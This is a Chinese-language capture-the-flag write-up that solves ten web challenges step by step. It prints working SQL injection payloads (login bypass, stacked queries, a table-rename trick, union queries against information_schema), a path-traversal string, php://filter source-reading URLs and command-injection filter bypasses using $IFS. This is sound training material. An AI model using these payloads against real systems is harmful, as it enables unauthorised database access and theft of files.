文章目录
-
- 1. [极客大挑战 2019]EasySQL 1【SQL注入-万能密码】
- 2. [极客大挑战 2019]Havefun 1【前端代码审计-注释泄漏】
- 3. [HCTF 2018]WarmUp 1【PHP代码审计】
- 4. [ACTF2020 新生赛]Include 1【PHP伪协议】
- 5. [ACTF2020 新生赛]Exec 1【命令注入-基础】
- 6. [GXYCTF2019]Ping Ping Ping 1【命令注入-空格替换+变量拼接】
- 7. [SUCTF 2019]EasySQL 1 【SQL注入-堆叠注入】
- 8. [强网杯 2019]随便注 1 【堆叠注入-改表名】
- 9. [极客大挑战 2019]Secret File 1
- 10 [极客大挑战 2019]LoveSQL 1【SQL注入-常规】
1. [极客大挑战 2019]EasySQL 1【SQL注入-万能密码】
使用万能密码登录即可:admin' or 1#
2. [极客大挑战 2019]Havefun 1【前端代码审计-注释泄漏】
- 进入页面,发现只是一个撸猫页面,没有可以下手的地方。
- F12看看前端页面代码,发现有一段被注释了的代码:
- 尝试在地址栏传入 cat=dog,即返回了 flag:
3. [HCTF 2018]WarmUp 1【PHP代码审计】
- 同样 F12 查看代码,有一个 source.php:
- 访问 source.php,查看代码,发现有一个 hint.php:
- 访问 hint.php,出现:
- 继续走查 source.php 代码,构造下列 payload:
?file=hint.php?../../../../../ffffllllaaaagggg
,得到 flag. - 这里走查代码其实就是在对 url 做过滤,看是否在 whitelist 中,至于后面应该有几层目录那就试吧。
4. [ACTF2020 新生赛]Include 1【PHP伪协议】
- 查看页面只有一个 tips 链接,点击链接出现一句话:Can you find out the flag? 再没有其他内容;
- F12查看前端源码,也没有信息;
- 查阅资料,发现可以使用 PHP 伪协议:PHP伪协议是PHP自己支持的一种协议与封装协议,简单来说就是PHP定义的一种特殊访问资源的方法。
- 常用的 PHP 伪协议有:
5. php://input 是个可以访问请求的原始数据的只读流,获取POST请求数据的协议
6. php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
在利用上很多都是与包含函数结合使用,读入或者输出获取文件源码然后编码让其不执行从而输出
php://filter 的使用:如
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
- 尝试输入 php://input,发现被拦截了:
- 尝试输入 php://filter,没有被拦截,输入:
php://filter/read=convert.base64-encode/resource=flag.php
,得到以下字符串,是base64编码的结果:
- 解码以后得到 flag:
5. [ACTF2020 新生赛]Exec 1【命令注入-基础】
- 打开页面,是一个 ping ip 地址的功能:
- 想到可能存在命令执行漏洞,使用管道符执行其他命令:
- 命令执行成功,尝试用 ls 命令查找其他目录,可以找到 flag:
- 再用 cat 命令输出 flag:
6. [GXYCTF2019]Ping Ping Ping 1【命令注入-空格替换+变量拼接】
进入页面,提示可以在参数中输入 IP:
输入 IP:
尝试注入,发现空格会被拦截,使用 ;注入,可成功执行:
其他命令的注入难免需要输入空格,需要尝试绕过空格。以下字符可以代替空格:
<
${IFS}
$IFS$9
%09
尝试后,发现可以代替空格的字符:
5. 直接查看 flag.php 会发现被拦截,查看 index.php:
发现过滤了很多字符,flag 字符串也被过滤了。此时如果还想要输入 flag,就得使用变量拼接的方式。如:a=g;cat$IFS$9fla$a.php
(表示将字符 g 赋值给变量a,取值时通过 $a 取)。可成功在源码中得到 flag:
7. [SUCTF 2019]EasySQL 1 【SQL注入-堆叠注入】
- 输入数字,发现返回:
- 输入其他 ’ " ,没有返回,报错注入不行;输入 union、sleep、if、and 这些都返回错误,说明一般的注入都不行。
- 尝试堆叠注入:
堆叠注入是一种SQL注入技术,允许攻击者在单个SQL查询中执行多个语句。 这种攻击依赖于数据库管理系统允许在单个查询中执行多个语句的特性。攻击者通过在输入的SQL语句后添加额外的分号(;)来分隔并执行多个命令,从而实现对数据库的未授权操作。
堆叠注入可成功执行:
但是其他语句就没法执行了。
网上的做法是根据几次尝试,猜测一下 sql 语句:
select $_POST['query'] || flag from Flag;#这里的 || 相当于或
select 1 || flag from Flag; #返回1,数值型bool值为真,字符型bool值为假
select 2 || flag from Flag; #返回1
select 0 || flag from Flag; #返回0
select 'a' || flag from Flag; #返回0
- 构造 sql:
1;select *,1
select 1;select *,1 || flag from Flag;
8. [强网杯 2019]随便注 1 【堆叠注入-改表名】
输入 1’ ,发现有报错信息:
输入 1’ or 1=1#,展示所有值:
注入其他内容,发现大部分sql关键字被屏蔽了,但是 if、sleep 没有被禁,因此可以采用基于bool的注入或者基于时间的注入方式,可这两种方式太耗时了:
尝试堆叠注入,果然也可以:
查看表名:
查看表结构,发现了 flag 字段:
查看另一个表的表结构,发现有 id 和 data 字段,猜想我们当前查询就是在这个表下进行的。查询语句有可能为:select id, data from words where id = ‘xxx’;
此时可以采用改表名的方式来查询,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
9. [极客大挑战 2019]Secret File 1
- F12 打开页面查看源码,发现了一个隐藏链接:
- 点击链接,源码中又发现了一个隐藏链接,再次点击,发现立即重定向到了 end.php:
- 拦截请求,查看返回,发现注释中有一个 srcr3t.php:
- 查看该文件,显示了源码:
- 查看 flag.php,还是没有显示 flag:
- 再回过头去看 srcr3t.php,存在文件包含漏洞,但是直接构造 file=flag.php 不展示 flag,尝试使用 php 伪协议,得到一串 base6 编码后的值,解码后得到 flag:
使用伪协议和直接访问的不同之处在于,使用伪协议可以读取到 php 文件的源码,而直接访问则会将文件当作 php 代码执行。
10 [极客大挑战 2019]LoveSQL 1【SQL注入-常规】
- 使用万能密码登录,可成功登录,但是没有有用的信息,说明有SQL注入漏洞:
- 对登录框进行SQL注入:
1)尝试 sql 注入:admin' union select 1,2#
,显示字段数有误。尝试后发现字段数是3。
2)获取数据库名:1' union select 1,database(),3#
3)获取表名:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#
得到:geekuser,l0ve1ysq1
4)获取字段名:1' union select 1,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"
5)然后获取 l0ve1ysq1 表中的值:1' union select 1,2,group_concat(password) from l0ve1ysq1#
。flag 确实就在 password 字段里。